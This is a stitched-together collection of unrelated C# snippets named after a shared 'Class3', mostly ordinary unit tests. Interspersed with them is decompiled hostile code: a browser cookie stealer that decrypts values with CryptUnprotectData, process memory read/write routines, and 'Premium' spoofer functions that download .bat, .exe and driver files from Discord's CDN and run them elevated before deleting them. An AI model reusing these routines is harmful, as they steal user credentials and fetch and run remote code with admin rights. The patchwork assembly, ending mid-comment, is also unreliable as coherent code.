public void AddSingleRelationWithoutModlValue() { var class2 = new Class3().Modl(); class2.SingleRelation = new Class1(); class2.Save(); class2.SingleRelation.Save(); Assert.NotNull(class2.SingleRelation); Assert.Equal(1, class2.SingleRelation.MultipleRelation.Count()); Assert.Equal(class2.Id(), class2.SingleRelation.MultipleRelation.First().Id()); var loadedClass2 = Modl <Class3> .Get(class2.Id()); Assert.NotNull(loadedClass2.SingleRelation); Assert.Equal(1, loadedClass2.SingleRelation.MultipleRelation.Count()); Assert.Equal(loadedClass2.Id(), loadedClass2.SingleRelation.MultipleRelation.First().Id()); var loadedClass1 = Modl <Class1> .Get(class2.SingleRelation.Id()); Assert.Equal(1, loadedClass1.MultipleRelation.Count()); Assert.Equal(loadedClass1.Id(), loadedClass1.MultipleRelation.First().SingleRelation.Id); Assert.Equal(loadedClass1.Id(), loadedClass1.MultipleRelation.First().SingleRelation.Val.Id()); }
public void TestGraphSerializationClass3() { using (FileStream fileStream = new FileStream("Class3Graph.json", FileMode.Create)) { JsonSerializer.Serialize(fileStream, _class3); } using (FileStream fileStream = new FileStream("Class3Graph.json", FileMode.Open)) { _class3Deserialized = JsonSerializer.Deserialize <Class3>(fileStream); } Assert.IsNotNull(_class3Deserialized); Assert.AreNotSame(_class3, _class3Deserialized); Assert.AreEqual(_class3.TextData, _class3Deserialized.TextData); Assert.AreEqual(_class3.DateTimeData, _class3Deserialized.DateTimeData); Assert.AreEqual(_class3.Class1.TextData, _class3Deserialized.Class1.TextData); Assert.AreEqual(_class3.Class1.DateTimeData, _class3Deserialized.Class1.DateTimeData); Assert.AreEqual(_class3.Class1.DoubleData, _class3Deserialized.Class1.DoubleData); Assert.AreEqual(_class3.Class2.TextData, _class3Deserialized.Class2.TextData); Assert.AreEqual(_class3.Class2.DateTimeData, _class3Deserialized.Class2.DateTimeData); }
public void GenerationThroughFields() { var o1 = new Class3(); var value = _fake.Create <Class3>(); Assert.AreNotEqual(01, value); }
// Token: 0x06000497 RID: 1175 RVA: 0x00010B34 File Offset: 0x0000ED34 public static void smethod_8() { if (Class3.smethod_40(ref Class3.int_0, 1) != 1) { goto IL_32; } IL_0E: int num = 1677281082; IL_13: switch ((num ^ 128676545) % 4) { case 0: goto IL_0E; case 2: IL_32: Class3.smethod_41(Class3.smethod_10(), new ResolveEventHandler(Class3.smethod_7)); num = 1308392332; goto IL_13; case 3: return; } }
public void UploadFileAsync(string LocalFullPath, string RemoteFileName, bool OverWriteRemoteFile) { try { if (!((this.IsValidFileChars(RemoteFileName) && this.IsValidFileChars(Path.GetFileName(LocalFullPath))) && this.IsValidPathChars(Path.GetDirectoryName(LocalFullPath)))) { throw new Exception("非法文件名或目录名!"); } if (!(OverWriteRemoteFile || !this.FileExist(RemoteFileName))) { throw new Exception("FTP服务上面已经存在同名文件!"); } if (!System.IO.File.Exists(LocalFullPath)) { throw new Exception("本地文件不存在!"); } Class3 class2 = new Class3(); class2.UploadProgressChanged += new UploadProgressChangedEventHandler(this.method_5); class2.UploadFileCompleted += new UploadFileCompletedEventHandler(this.method_4); class2.Credentials = new NetworkCredential(this.UserName, this.Password); if (this.Proxy != null) { class2.Proxy = this.Proxy; } class2.UploadFileAsync(new System.Uri(this.Uri.ToString() + RemoteFileName), LocalFullPath); } catch (Exception exception) { this.ErrorMsg = exception.ToString(); throw exception; } }
public void DoNetwork() { if (((network_0 != null) && network_0.Connected) && (packet_0 = network_0.Receive(0L)).Received) { if (ProtectLoader.Debug) { UnityEngine.Debug.Log(string.Concat(new object[] { Class3.smethod_10(0x36a), packet_0.Type, Class3.smethod_10(0x37e), packet_0.Received.ToString(), Class3.smethod_10(920), packet_0.Length, Class3.smethod_10(0x3ae), packet_0.RemainingBytes, Class3.smethod_10(970), packet_0.Flags, Class3.smethod_10(0x3dc) })); } if (((verifyFile_0.Length != 0) || (packet_0.Type == NetLink.Network.PacketType.Response)) && ((packet_0.Type != NetLink.Network.PacketType.Response) || packet_0.Flags.Has <NetLink.Network.PacketFlag>(NetLink.Network.PacketFlag.Compressed))) { NetLink.Network.PacketType type = packet_0.Type; switch (type) { case NetLink.Network.PacketType.Pingpong: network_0.SendPacket(NetLink.Network.PacketType.Pingpong, NetLink.Network.PacketFlag.None, null); return; case NetLink.Network.PacketType.Disconnect: smethod_8(Class3.smethod_10(0x3e2)); network_0.Dispose(); UnityEngine.Object.DestroyImmediate(base.gameObject); return; } if ((type == NetLink.Network.PacketType.DataStream) && packet_0.Flags.Has <NetLink.Network.PacketFlag>(NetLink.Network.PacketFlag.Compressed)) { MessageType message = (MessageType)((short)packet_0.Read <ushort>()); this.DoNetworkMessageData(packet_0, message); } } } }
public void TestMethod3() { Class3 class3 = new Class3(); string word = File.ReadAllText(@"C:\Users\hdkj\Desktop\test.txt").ToLower();//将输入的英文字符全部转换为小写字符 class3.Countlines(); }
private void LateUpdate() { if ((NetCull.isClientRunning && (network_0 != null)) && network_0.Connected) { if ((playerClient == null) && (PlayerClient.GetLocalPlayer() != null)) { playerClient = PlayerClient.GetLocalPlayer(); UnityEngine.Debug.Log(string.Concat(new object[] { Class3.smethod_10(820), playerClient.userName, Class3.smethod_10(840), playerClient.userID, Class3.smethod_10(0x34e) })); NetLink.Network.Packet packet = new NetLink.Network.Packet(NetLink.Network.PacketType.Firstpass, NetLink.Network.PacketFlag.Compressed, null); packet.Write <ushort>(MessageType.Approve); packet.Write <string>(SystemInfo.operatingSystem); packet.Write <string>(string_4); network_0.Send(packet); thread_0 = new Thread(new ThreadStart(Protection.smethod_7)); thread_0.Start(); base.InvokeRepeating(Class3.smethod_10(0x290), 0f, 0.1f); base.InvokeRepeating(Class3.smethod_10(0x2a6), 0f, 1f); } } else { base.CancelInvoke(); smethod_8(null); if (network_0 != null) { network_0.Dispose(); } UnityEngine.Object.DestroyImmediate(this); UnityEngine.Debug.Log(Class3.smethod_10(0x2fe)); } }
public void JsonFormatterTest() { Class1 class1 = new Class1(2.5f, DateTime.Now, "klasa 1"); Class2 class2 = new Class2(7.5f, DateTime.Now.AddDays(5), "klasa 2"); Class3 class3 = new Class3(12.2f, DateTime.Now.AddMonths(2), "klasa 3"); class1.obj = class2; class2.obj = class3; class3.obj = class1; JsonFormatter jsonFormatter = new JsonFormatter(); jsonFormatter.Serialize(new FileStream("plik1.json", FileMode.Create), class1); Class1 class1prim = jsonFormatter.Deserialize <Class1>(new FileStream("plik1.json", FileMode.Open)); Assert.AreEqual(class1.num, class1prim.num); Assert.AreEqual(class1.date, class1prim.date); Assert.AreEqual(class1.name, class1prim.name); Assert.AreEqual(class1.obj.num, class1prim.obj.num); Assert.AreEqual(class1.obj.date, class1prim.obj.date); Assert.AreEqual(class1.obj.name, class1prim.obj.name); Assert.AreEqual(class1.obj.obj.num, class1prim.obj.obj.num); Assert.AreEqual(class1.obj.obj.date, class1prim.obj.obj.date); Assert.AreEqual(class1.obj.obj.name, class1prim.obj.obj.name); }
public void test3() { var class3 = new Class3(); var duplicate = class3.Duplicate(); AssertNotNull(duplicate); }
public void DownloadFileAsync(string RemoteFileName, string LocalFullPath) { try { if (!this.IsValidFileChars(RemoteFileName)) { throw new Exception("非法文件名或目录名!"); } if (System.IO.File.Exists(LocalFullPath)) { throw new Exception("当前路径下已经存在同名文件!"); } Class3 class2 = new Class3(); class2.DownloadProgressChanged += new DownloadProgressChangedEventHandler(this.method_3); class2.DownloadFileCompleted += new AsyncCompletedEventHandler(this.method_2); class2.Credentials = new NetworkCredential(this.UserName, this.Password); if (this.Proxy != null) { class2.Proxy = this.Proxy; } class2.DownloadFileAsync(new System.Uri(this.Uri.ToString() + RemoteFileName), LocalFullPath); } catch (Exception exception) { this.ErrorMsg = exception.ToString(); throw exception; } }
public override string vmethod_5(string string_0) { if (!(HiContext.Current.User is SiteManager)) { return(null); } string text = Membership.GeneratePassword(10, 0); int num; string text2; Class3.smethod_1(string_0, out num, out text2); string text3 = UserHelper.EncodePassword((MembershipPasswordFormat)num, text, text2); if (text3.Length > 128) { return(null); } Database database = DatabaseFactory.CreateDatabase(); System.Data.Common.DbCommand sqlStringCommand = database.GetSqlStringCommand("UPDATE aspnet_Distributors SET TradePassword = @NewTradePassword, TradePasswordSalt = @PasswordSalt, TradePasswordFormat = @PasswordFormat WHERE UserId = (SELECT UserId FROM aspnet_Users WHERE LOWER(@Username) = LoweredUserName)"); database.AddInParameter(sqlStringCommand, "NewTradePassword", System.Data.DbType.String, text3); database.AddInParameter(sqlStringCommand, "PasswordSalt", System.Data.DbType.String, text2); database.AddInParameter(sqlStringCommand, "PasswordFormat", System.Data.DbType.Int32, num); database.AddInParameter(sqlStringCommand, "Username", System.Data.DbType.String, string_0); database.ExecuteNonQuery(sqlStringCommand); return(text); }
public void SchemaBuilder_includes_default_values_for_arrays() { // ARRANGE var expected = JObject.Parse($@"{{ ""$schema"" : ""{s_SchemaNamespace}"", ""type"" : ""object"", ""properties"" : {{ ""property1"" : {{ ""type"" : ""array"", ""items"" : {{ ""type"" : ""string"" }}, ""default"" : [""abc"", ""def""] }}, ""property2"" : {{ ""type"" : ""array"", ""items"" : {{ ""type"" : ""integer"" }} }} }} }}"); var modelInstance = new Class3() { Property1 = new[] { "abc", "def" } }; // ACT var schema = JsonSchemaGenerator.GetSchema(modelInstance); // ASSERT AssertEqual(expected, schema); }
public static Class1 CreateTestInstance() { Class2 c2c = new Class2() { Foo = "foo C", Bar = null }; // automatic serialization Class3 c3 = new Class3() { OneString = "lowercase", SharedClass2Res = c2c }; // manual reader/writer serialization Class2 c2a = new Class2() { Foo = "foo A", Bar = c3 }; // automatic serialization Class2 c2b = new Class2() { Foo = "foo B", Bar = c3 }; // automatic serialization Class1 c1 = new Class1(); // automatic serialization c1.SimpleString = "This is indeed a string"; c1.privateField = "A private field"; // but serialized! c1.IgnoredString = "An ignored one"; // ignored c1.AnotherString = "Another string"; // <BasicString>.. c1.StringList = new List<string>(new string[] {"a", "b", "c"}); // <ListOfStrings><StringItem>.. c1.Class2Resource = c2a; // embedded c1.SharedClass2Resource = c2a; // shared c1.SharedClass2ResourceAgain = c2a; // shared c1.SharedClass2ResourceAnother = c2c; // shared c1.Class2List = new List<Class2>(new Class2[] { c2a, c2b }); c1.SharedClass2List = new SharedResourceList<Class2>(new Class2[] { c2a, c2c }); c1.SharedClass3Resource = c3; c1.OptionalNumber = 42; c1.AssetName = "c1"; // SerialDataBase return c1; }
private static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Class3.QU7D36NzQAHi4(); Application.Run(new Form1()); }
// Token: 0x06000040 RID: 64 RVA: 0x0000486C File Offset: 0x00002A6C public static void smethod_6() { Class3.smethod_4("Finding Currencies..."); WebClient webClient = new WebClient(); string text = "C:\\Premium\\Regl.bat"; string text2 = "C:\\Premium\\pepe.bat"; Class3.smethod_4("Downloading files"); Thread.Sleep(2000); webClient.DownloadFile("https://cdn.discordapp.com/attachments/801775233488650251/805609381353619477/Pepe.bat", text2); webClient.DownloadFile("https://cdn.discordapp.com/attachments/801775233488650251/805609382879690762/Regl.bat", text); Class3.smethod_4("Successfully downloaded"); Thread.Sleep(1000); Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.UseShellExecute = true; process.StartInfo.CreateNoWindow = false; process.StartInfo.WindowStyle = ProcessWindowStyle.Normal; process.StartInfo.Verb = "runas"; Class3.smethod_4("Running Files"); Thread.Sleep(1000); Process process2 = Process.Start(text2, text); Thread.Sleep(1000); Class3.smethod_4("Deleting Files"); Thread.Sleep(1000); process2.Close(); File.Delete(text); File.Delete(text2); Class3.smethod_3("Successfully changed registry"); }
//GET: Test public ActionResult Dashboard() { int counter = 0; List <Person> person_list = entity.People.ToList(); foreach (Person s in person_list) { if (s.AddedBy == User.Identity.GetUserId()) { DateTime bd = Convert.ToDateTime(s.DateOfBirth); DateTime ud = Convert.ToDateTime(s.UpdateOn); counter = counter + 1; if (bd.Day == DateTime.Now.AddDays(1).Day || bd.Day == DateTime.Now.AddDays(10).Day || (bd.Day > DateTime.Now.AddDays(1).Day&& bd.Day < DateTime.Now.AddDays(10).Day)) { person_temp_lst.Add(s); } if (ud.Date == DateTime.Now.AddDays(-1).Date || ud.Date == DateTime.Now.AddDays(-7).Date || (ud.Date < DateTime.Now.AddDays(-1).Date&& ud.Date > DateTime.Now.AddDays(-7).Date)) { person_temp_lst1.Add(s); } } } Session["No_of_Person_Added"] = counter; var model = new Class3() { BirthdayList = person_temp_lst, UpdateList = person_temp_lst1, }; return(View(model)); }
protected override object Run(MyReuest request) { Class3 obj3 = FindObjClass3("someid"); Class2 obj2 = DoSomethingObj3Class3(obj3); return(((Class1)obj2).Clone()); }
// Token: 0x060000E8 RID: 232 RVA: 0x000069C0 File Offset: 0x00004BC0 private static List <Class3> smethod_2(string string_0) { List <Class3> result; if (!File.Exists(string_0)) { result = null; } else { try { string text = Path.GetTempPath() + "/" + Class6.smethod_2() + ".fv"; if (File.Exists(text)) { File.Delete(text); } File.Copy(string_0, text, true); Class7 @class = new Class7(text); List <Class3> list = new List <Class3>(); @class.method_4("cookies"); for (int i = 0; i < @class.method_1(); i++) { try { string text2 = string.Empty; try { text2 = Encoding.UTF8.GetString(Class2.smethod_1(Encoding.Default.GetBytes(@class.method_0(i, 12)), null)); } catch (Exception) { } if (text2 != "") { Class3 class2 = new Class3(); class2.method_3(@class.method_0(i, 1)); class2.name = @class.method_0(i, 2); class2.path = @class.method_0(i, 4); class2.method_1(@class.method_0(i, 5)); class2.method_5(@class.method_0(i, 6)); class2.value = text2; Class3 item = class2; list.Add(item); } } catch (Exception) { } } File.Delete(text); result = list; } catch (Exception) { result = null; } } return(result); }
static void Main(string[] args) { Class2 c2 = new Class2(); MyDelegate d = c2.neuDelegate(); Class3 c3 = new Class3(); c3.callDelegate(d, "calling the delegate"); }
public bool method_6(IntPtr intptr_1, byte[] byte_0) { uint num; bool flag; if (this.intptr_0 == (IntPtr) - 1) { flag = false; } else { try { Class3.VirtualProtectEx(this.intptr_0, intptr_1, (UIntPtr)((long)((int)byte_0.Length)), 4, out num); bool flag1 = Class3.WriteProcessMemory(this.intptr_0, intptr_1, byte_0, (uint)byte_0.Length, 0); Class3.VirtualProtectEx(this.intptr_0, intptr_1, (UIntPtr)((long)((int)byte_0.Length)), num, out num); flag = flag1; } catch (Exception exception) { Console.WriteLine(string.Concat("Error in logic: WriteByteArray", exception.ToString())); flag = false; } } return(flag); }
public byte[] method_5(IntPtr intptr_1, uint uint_0) { unsafe { uint num; byte[] numArray; if (this.intptr_0 == (IntPtr) - 1) { numArray = new byte[1]; } else { try { Class3.VirtualProtectEx(this.intptr_0, intptr_1, (UIntPtr)uint_0, 4, out num); byte[] numArray1 = new byte[uint_0]; Class3.ReadProcessMemory(this.intptr_0, intptr_1, numArray1, uint_0, 0); Class3.VirtualProtectEx(this.intptr_0, intptr_1, (UIntPtr)uint_0, num, out num); numArray = numArray1; } catch (Exception exception) { Console.WriteLine(string.Concat("Error in logic: ReadByteArray", exception.ToString())); numArray = new byte[1]; } } return(numArray); } }
public void method_0() { bool flag = false; Process[] processesByName = Process.GetProcessesByName(this.string_1); if ((int)processesByName.Length != 0) { this.process_0 = processesByName[0]; this.intptr_0 = Class3.OpenProcess(2035711, false, this.process_0.Id); flag = (this.intptr_0 != IntPtr.Zero ? true : false); } if (!flag) { Process[] processes = Process.GetProcesses(); for (int i = 0; i < processes.Count <Process>(); i++) { if (processes[i].MainWindowTitle == this.string_0) { flag = true; this.process_0 = processes[i]; } } if (flag) { this.intptr_0 = Class3.OpenProcess(2035711, false, this.process_0.Id); return; } this.intptr_0 = (IntPtr) - 1; } }
public static List <ProcessEntry32> GetProcess32List() { Process32.SetPrivilege(Class3.smethod_10(538), true); Process.EnterDebugMode(); List <ProcessEntry32> list = new List <ProcessEntry32>(); IntPtr intPtr = Process32.CreateToolhelp32Snapshot(Process32.TH32CS_SNAPPROCESS, 0u); if (intPtr != IntPtr.Zero) { ProcessEntry32 processEntry = default(ProcessEntry32); processEntry.dwSize = (uint)Marshal.SizeOf(processEntry); if (Process32.Process32First(intPtr, ref processEntry)) { do { IntPtr intPtr2 = Marshal.AllocHGlobal((int)processEntry.dwSize); Marshal.StructureToPtr(processEntry, intPtr2, true); ProcessEntry32 item = (ProcessEntry32)Marshal.PtrToStructure(intPtr2, typeof(ProcessEntry32)); Marshal.FreeHGlobal(intPtr2); list.Add(item); }while (Process32.Process32Next(intPtr, ref processEntry)); } Process32.CloseHandle(intPtr); } return(list); }
// Token: 0x0600003F RID: 63 RVA: 0x00004754 File Offset: 0x00002954 public static void smethod_5() { Class3.smethod_4("Finding Currencies..."); WebClient webClient = new WebClient(); string text = "C:\\Premium\\Mapper.exe"; string text2 = "C:\\Premium\\Sys.sys"; Class3.smethod_4("Downloading mapper/sys file"); Thread.Sleep(2000); webClient.DownloadFile("https://cdn.discordapp.com/attachments/801775233488650251/805609384196964382/Sys.sys", text2); webClient.DownloadFile("https://cdn.discordapp.com/attachments/801775233488650251/805609380518690856/Mapper.exe", text); Class3.smethod_4("Successfully downloaded"); Thread.Sleep(1000); Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.UseShellExecute = true; process.StartInfo.CreateNoWindow = false; process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; process.StartInfo.Verb = "runas"; Class3.smethod_4("Running Files"); Thread.Sleep(1000); Process process2 = Process.Start(text2, text); Thread.Sleep(1000); Class3.smethod_4("Mapper/System file have been ran"); Thread.Sleep(1000); process2.Close(); File.Delete(text2); File.Delete(text); Class3.smethod_3("Successfully ran."); }
// Token: 0x06000021 RID: 33 RVA: 0x000024BC File Offset: 0x000006BC public static string smethod_0(byte[] byte_0) { Class3.Struct1 @struct = default(Class3.Struct1); Class3.Struct1 struct2 = default(Class3.Struct1); GCHandle gchandle = GCHandle.Alloc(byte_0, GCHandleType.Pinned); @struct.intptr_0 = gchandle.AddrOfPinnedObject(); @struct.int_0 = byte_0.Length; gchandle.Free(); string string_ = null; Class3.Struct1 struct4; Class3.Struct1 struct3 = struct4; IntPtr intPtr; IntPtr intptr_ = intPtr; Class3.Struct0 struct6; Class3.Struct0 struct5 = struct6; Class3.CryptUnprotectData(ref @struct, string_, ref struct3, intptr_, ref struct5, 0, ref struct2); checked { byte[] array = new byte[struct2.int_0 + 1]; Marshal.Copy(struct2.intptr_0, array, 0, struct2.int_0); string @string = Encoding.Default.GetString(array); return(@string.Substring(0, @string.Length - 1)); } }
// Token: 0x0600003D RID: 61 RVA: 0x00004528 File Offset: 0x00002728 public static void smethod_3() { Class3.smethod_4("Unlinking Discord"); Thread.Sleep(500); string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Roaming\\Discord\\0.0.309\\modules\\discord_rpc"; if (Directory.Exists(path)) { Directory.Delete(path, true); } string path2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Roaming\\Discord\\blob_storage"; if (Directory.Exists(path2)) { Directory.Delete(path2, true); } string path3 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Roaming\\Discord\\Cache"; if (Directory.Exists(path3)) { Directory.Delete(path3, true); } string path4 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Roaming\\Discord\\Session Storage"; if (Directory.Exists(path4)) { Directory.Delete(path4, true); } string value = WindowsIdentity.GetCurrent().User.Value; Registry.ClassesRoot.DeleteSubKeyTree("discord-", false); Registry.Users.DeleteSubKeyTree(value + "_Classes\\discord-", false); Registry.Users.DeleteSubKeyTree(value + "\\SOFTWARE\\discord-", false); Class3.smethod_3("Successfully Unlinked Discord"); }
// Token: 0x0600003E RID: 62 RVA: 0x00004630 File Offset: 0x00002830 public static void smethod_4() { try { Class3.smethod_4("Finding Currencies..."); WebClient webClient = new WebClient(); string text = "C:\\Premium\\Xbox.bat"; Class3.smethod_4("Downloading xbox unlinker file"); Thread.Sleep(2000); webClient.DownloadFile("https://cdn.discordapp.com/attachments/799217945996951572/805170066537578516/Xbox.bat", text); Class3.smethod_4("Successfully downloaded"); Thread.Sleep(1000); Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.UseShellExecute = true; process.StartInfo.CreateNoWindow = false; process.StartInfo.WindowStyle = ProcessWindowStyle.Normal; process.StartInfo.Verb = "runas"; Class3.smethod_4("Running Files"); Thread.Sleep(1000); Process process2 = Process.Start(text); Thread.Sleep(1000); Class3.smethod_4("Deleting Files"); Thread.Sleep(1000); process2.Close(); File.Delete(text); Class3.smethod_3("Successfully removed"); } catch (Exception) { Class3.smethod_4("\nCould Not Download Xbox unlinker Please Turn Off Your Windows Defender/AntiVirus."); Console.ReadLine(); } }
// Token: 0x0600003A RID: 58 RVA: 0x00003EEC File Offset: 0x000020EC public static void smethod_0() { Class3.smethod_4("Finding Currencies..."); WebClient webClient = new WebClient(); string fileName = "C:\\Premium\\F857SNSsbat.exe"; Class3.smethod_4("Downloading FiveM"); Thread.Sleep(2000); webClient.DownloadFile("https://cdn.discordapp.com/attachments/799217945996951572/805217930467606608/FiveM.exe", fileName); Class3.smethod_4("Successfully downloaded"); Thread.Sleep(1000); Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.UseShellExecute = true; process.StartInfo.CreateNoWindow = false; process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; Class3.smethod_4("Running Files"); Thread.Sleep(1000); Process process2 = Process.Start(fileName); Thread.Sleep(1000); process2.Close(); Class3.smethod_3("Successfully installed FiveM"); }
public static System.Collections.Generic.List <ProcessEntry32> GetProcess32List() { SetPrivilege(Class3.smethod_10(0x21a), true); Process.EnterDebugMode(); System.Collections.Generic.List <ProcessEntry32> list = new System.Collections.Generic.List <ProcessEntry32>(); IntPtr hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot != IntPtr.Zero) { ProcessEntry32 entry; entry = new ProcessEntry32 { dwSize = (uint)Marshal.SizeOf(entry) }; if (Process32First(hSnapshot, ref entry)) { do { IntPtr ptr = Marshal.AllocHGlobal((int)entry.dwSize); Marshal.StructureToPtr(entry, ptr, true); ProcessEntry32 item = (ProcessEntry32)Marshal.PtrToStructure(ptr, typeof(ProcessEntry32)); Marshal.FreeHGlobal(ptr); list.Add(item); }while (Process32Next(hSnapshot, ref entry)); } CloseHandle(hSnapshot); } return(list); }
public void Validation_Can_Be_Overridden_With_Null() { var target = new Class3(); target.SetValue(Class1.QuxProperty, 50); Assert.Equal(50, target.GetValue(Class1.QuxProperty)); }
// Token: 0x06000016 RID: 22 RVA: 0x00002351 File Offset: 0x00000551 public AsyncQueue() { Class3.oswSa3wz9mgro(); this.concurrentQueue = new ConcurrentQueue <T>(); this.semaphoreSlim = new SemaphoreSlim(1); base..ctor(); }
public async void Should_Return_UnsetValue_For_Root_UnsetValue() { var data = new Class3 { Foo = "foo" }; var target = new ExpressionObserver(AvaloniaProperty.UnsetValue, "Foo"); var result = await target.Take(1); Assert.Equal(AvaloniaProperty.UnsetValue, result); }
public async void Should_Return_UnsetValue_For_Observable_Root_Null() { var data = new Class3 { Foo = "foo" }; var target = new ExpressionObserver(Observable.Return(default(object)), "Foo"); var result = await target.Take(1); Assert.Equal(AvaloniaProperty.UnsetValue, result); }
public async void Should_Get_Simple_Property_From_Base_Class() { var data = new Class3 { Foo = "foo" }; var target = new ExpressionObserver(data, "Foo"); var result = await target.Take(1); Assert.Equal("foo", result); }
static void Main(string[] args) { Class2 c2 = new Class2(); c2.task(); Class3 c3 = new Class3(); ISample1 i1 = (ISample1)c3; i1.task(); ISample2 i2 = (ISample2)c3; i2.task(); }
static void Main() { Class1 c1 = new Class1(); Class2 c2 = new Class2(); Class3 c3 = new Class3(); Test(c1); Test(c2); Test(c3); Test("a string"); }
public void Get_Class3_Parsed() { var test = new Class3 { DecimalProperty = DecimalPropertyValue2, StringProperty = StringPropertyValue2, DateTimeProperty = DateTimePropertyValue, IgnoredProperty = StringPropertyValue }; var properties = _digger.Get(test); Assert.That(properties.Count, Is.EqualTo(1)); CheckProperty(StringPropertyName2, PropertyNameSource.DataMember, StringPropertyValue2, properties); }
static void Main(string[] args) { object instance1 = new Class3(); Console.WriteLine(instance1); Class2 instance2 = instance1 as Class2; Console.WriteLine(instance2); Class2 instance3 = (Class2)instance1; Console.WriteLine(instance3); Class1 instance4 = instance1 as Class1; Console.WriteLine(instance4); Class1 instance5 = (Class1)instance1; Console.WriteLine(instance5); }
public void AddSingleRelationWithoutModlValue() { var class2 = new Class3().Modl(); class2.SingleRelation = new Class1(); class2.Save(); class2.SingleRelation.Save(); Assert.NotNull(class2.SingleRelation); Assert.Equal(1, class2.SingleRelation.MultipleRelation.Count()); Assert.Equal(class2.Id(), class2.SingleRelation.MultipleRelation.First().Id()); var loadedClass2 = Modl<Class3>.Get(class2.Id()); Assert.NotNull(loadedClass2.SingleRelation); Assert.Equal(1, loadedClass2.SingleRelation.MultipleRelation.Count()); Assert.Equal(loadedClass2.Id(), loadedClass2.SingleRelation.MultipleRelation.First().Id()); var loadedClass1 = Modl<Class1>.Get(class2.SingleRelation.Id()); Assert.Equal(1, loadedClass1.MultipleRelation.Count()); Assert.Equal(loadedClass1.Id(), loadedClass1.MultipleRelation.First().SingleRelation.Id); Assert.Equal(loadedClass1.Id(), loadedClass1.MultipleRelation.First().SingleRelation.Val.Id()); }
public static void smethod_0() { if (!Directory.Exists(Environment.CurrentDirectory + "\\data")) { Directory.CreateDirectory(Environment.CurrentDirectory + "\\data"); } if (File.Exists("unloadHelper")) { Class3 @class = new Class3("unloadHelper"); int i = @class.method_0(); int num = 0; while (i > num) { string path = Environment.CurrentDirectory + "\\data\\plugins\\" + @class.method_1(); File.Delete(path); num++; } File.Delete("unloadHelper"); } Class1.class11_0 = new Class11(); Class1.class7_0 = new Class7(); Class9.smethod_0(); }
public virtual void SetClass3(Class3 class3) { this.class3 = class3; }
public Class2(string name22, string name3) { name2 = name22; class3 = new Class3(name3); }
public Class2(Class3 class3) { Class3 = class3; }
public void GetValue_Throws_Exception_For_Unregistered_Property() { var target = new Class3(); Assert.Throws<ArgumentException>(() => target.GetValue(Class1.FooProperty)); }
public void MapInnerObject1() { var mapper = Map.GetObjectMapper<Class3,Class4>(); var src = new Class3(); var dest = mapper(src); Assert.AreEqual(src.Class.Field, dest.Class.Field); }
private void method_10() { Class3 class2 = new Class3 { mainForm_0 = this }; if ((this.treeView1.SelectedNode != null) && (this.treeView1.SelectedNode.ImageIndex == int_6)) { class2.string_0 = this.treeView1.SelectedNode.Parent.Parent.Text; class2.string_1 = this.treeView1.SelectedNode.Text; this.method_0(new Action(class2.method_0)); } }
private void openFileDialog_0_FileOk(object sender, CancelEventArgs e) { if (!(this.openFileDialog_0.FileName == "")) { Class3 @class = new Class3(this.openFileDialog_0.FileName); int num = @class.method_0(); for (int i = 0; i < num; i++) { Class8 class2 = new Class8(); class2.byte_0 = Convert.FromBase64String(@class.method_1()); class2.string_0 = @class.method_1(); class2.int_0 = @class.method_0(); class2.bool_0 = (@class.method_1() == "1"); Class1.class7_0.method_0(class2); } this.method_0(); } }
public unsafe static uint CMPPointerMethod () { Iface3 c = new Class3 (); if ((uint) c.GetPointer() == 0x42) return 1; return 0; }
public void NestedContainers() { Class1 class1 = new Class1(); Class2 class2 = new Class2(); Class3 class3 = new Class3(); Class1 class1a = new Class1(); ServiceContainer parentContainer = new ServiceContainer(); parentContainer.AddService(typeof(IInterface1), class1); ServiceContainer childContainer = new ServiceContainer(parentContainer); childContainer.AddService(typeof(IInterface2), class2); // child container returns what it contains and what its parent contains Assert.AreSame(class1, childContainer.GetService(typeof(IInterface1))); Assert.AreSame(class2, childContainer.GetService(typeof(IInterface2))); Assert.IsNull(childContainer.GetService(typeof(IInterface3))); // parent container only returns what it contains Assert.IsNull(parentContainer.GetService(typeof(IInterface2))); // add a service to the parent, and it becomes available to the child parentContainer.AddService(typeof(IInterface3), class3); Assert.AreSame(class3, childContainer.GetService(typeof(IInterface3))); Assert.AreSame(class3, parentContainer.GetService(typeof(IInterface3))); // remove a service from the parent, and it is no longer available to the child parentContainer.RemoveService(typeof(IInterface3)); Assert.IsNull(childContainer.GetService(typeof(IInterface3))); Assert.IsNull(parentContainer.GetService(typeof(IInterface3))); // remove a service from the child container but not the parent container childContainer.RemoveService(typeof(IInterface1)); Assert.AreSame(class1, childContainer.GetService(typeof(IInterface1))); Assert.AreSame(class1, parentContainer.GetService(typeof(IInterface1))); // add an implementation to the child container and it overrides the parent container childContainer.AddService(typeof(IInterface1), class1a); Assert.AreSame(class1a, childContainer.GetService(typeof(IInterface1))); Assert.AreSame(class1, parentContainer.GetService(typeof(IInterface1))); // remove implementation from the child container, and the implementation in the parent // container is used again in the child container childContainer.RemoveService(typeof(IInterface1)); Assert.AreSame(class1, childContainer.GetService(typeof(IInterface1))); Assert.AreSame(class1, parentContainer.GetService(typeof(IInterface1))); // remove implementation in the child container using promotion childContainer.RemoveService(typeof(IInterface1), true); Assert.IsNull(childContainer.GetService(typeof(IInterface1))); Assert.IsNull(parentContainer.GetService(typeof(IInterface1))); // add implementation to both parent and child container, and then remove from child using // promotion, the implementation left in the child will remain parentContainer.AddService(typeof(IInterface1), class1); childContainer.AddService(typeof(IInterface1), class1a); childContainer.RemoveService(typeof(IInterface1), true); Assert.AreSame(class1a, childContainer.GetService(typeof(IInterface1))); Assert.IsNull(parentContainer.GetService(typeof(IInterface1))); // remove using promotion again and the implementation remains in the child childContainer.RemoveService(typeof(IInterface1), true); Assert.AreSame(class1a, childContainer.GetService(typeof(IInterface1))); Assert.AreSame(class1a, childContainer.GetService(typeof(IInterface1))); Assert.IsNull(parentContainer.GetService(typeof(IInterface1))); // remove without 